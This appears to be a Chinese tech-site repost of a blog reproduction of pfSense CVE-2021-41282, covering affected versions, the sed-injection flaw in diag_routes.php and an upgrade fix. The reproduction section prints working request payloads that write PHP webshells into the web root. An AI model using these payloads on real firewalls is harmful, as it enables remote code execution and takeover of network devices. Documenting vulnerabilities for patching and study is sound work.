我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Pfsense漏洞复现(CVE-2021-41282)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Pfsense漏洞复现(CVE-2021-41282)

一、产品介绍:

pfSense® Plus 软件是世界上最值得信赖的防火墙。 该软件赢得了全球用户的尊重和喜爱——安装次数超过 300 万次。 开源技术使之成为可能。 由 Netgate 制成坚固、可靠、可靠的产品

产品官网:

https://www.pfsense.org/

 

二、漏洞概述:

pfSense 允许经过身份验证的用户获取有关防火墙中设置的路由的信息。 信息是通过执行 netstat实用程序,然后通过 sed调用执行。 虽然命令注入的常见预防模式(即使用 escapeshellarg参数的函数)正在使用中,但是仍然可以注入 sed- 特定代码并在任意位置写入任意文件。 由于易受攻击的端点也容易受到跨站点请求伪造 (CSRF) 的攻击,因此也可以利用此漏洞进行预身份验证。

 

三、漏洞详情:

CVE编号

CVE-2021-41282

漏洞类型

远程代码执行

威胁等级

高危

影响版本

pfSense CE version <= 2.5.2

pfSense Plush version < 22.01

四、漏洞复现:

复现环境:

下载地址: Tags · pfsense/pfsense · GitHub

Pfsense版本: 2.5.1

操作系统:  FreeBSD Linux

 

漏洞位于diag_routes.php页面,在做filter参数接收时没有对输入的参数进行严格的过滤导致产生的命令执行

 

在对diag_routes.php发起一个请求时,如果没有IPV6的请求参数,初始执行的命令如下所示:

/usr/bin/netstat –Rw –f inet 这样,再次请求filter参数就会在后面拼接上命令,利用的payload如下所示:

/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23

 

漏洞利用的前提是需要进行登录,登录之后再次请求该链接就会在网站根路径下生成一个webshell的文件

 

我们再次访问该文件,发现已经生成成功了

 

使用参数即可执行命令

 

可以稍作修改,替换成一句话,使用蚁剑连接

/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+\@eval($_POST[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/shell.php%0a%23

 

 

所以最后生成的命令就是:

/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php #/!d; };'

参数讲解:

netstat –rW  #获取路由并且不使用truncate跟踪

netstat –f inet #AF默认会使用inet(DARPA Internet),inet是支持的路由格式

sed –e ‘1,3d’; #筛选结果,将1,3行删除不显示,就是显示1,3行之外的所有内容

 

在sed当中可以使用s/match/replace和w/path/to/files来进行写入

s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php

这一段内容就是将netstat结果中的Destination替换为,再写入到/usr/local/www/a.php文件当中

 

将前面的参数闭合使用#注释掉后面的/!d};进行执行

五、修复建议:

将 pfSense CE 升级到 2.6.0 版或将 pfSense Plus 升级到 22.01 版

来源地址:https://blog.csdn.net/qq_69775412/article/details/125292589

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Pfsense漏洞复现(CVE-2021-41282)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Apache log4j2-RCE 漏洞复现及修复建议(CVE-2021-44228)

Apache log4j2是一款流行的Java日志库。CVE-2021-44228是log4j2中的一个远程代码执行(RCE)漏洞,该漏洞允许攻击者通过构造恶意的日志消息来执行任意的代码。漏洞复现:1. 下载并安装Apache log4j2
2023-08-17

CVE-2023-28432 MinIO 信息泄露漏洞--漏洞复现10

文章目录 CVE-2023-28432 MinIO 信息泄露漏洞1. MinIO简介2.漏洞描述3.影响版本4.fofa查询语句5.漏洞复现6.POC&EXP7.整改意见 CVE-2023-28432 MinIO 信息泄露漏
2023-08-18

Nacos未授权访问漏洞(CVE-2021-29441)

目录 漏洞描述影响范围环境搭建漏洞复现 声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。加粗样式 漏洞描述 Nacos 是阿里巴巴推出来的一个
2023-08-18

CVE-2020-9402 Django GIS SQL注入漏洞复现

原文:https://www.cnblogs.com/-Anguvia-/p/14638389.html
CVE-2020-9402 Django GIS SQL注入漏洞复现
2017-03-26

Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

一、漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我
2022-06-04

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

目录漏洞描述影响范围环境部署后台RCE未授权接口RCE声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。 漏洞描述 Apache APISIX 是一个动态、
2023-03-19

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录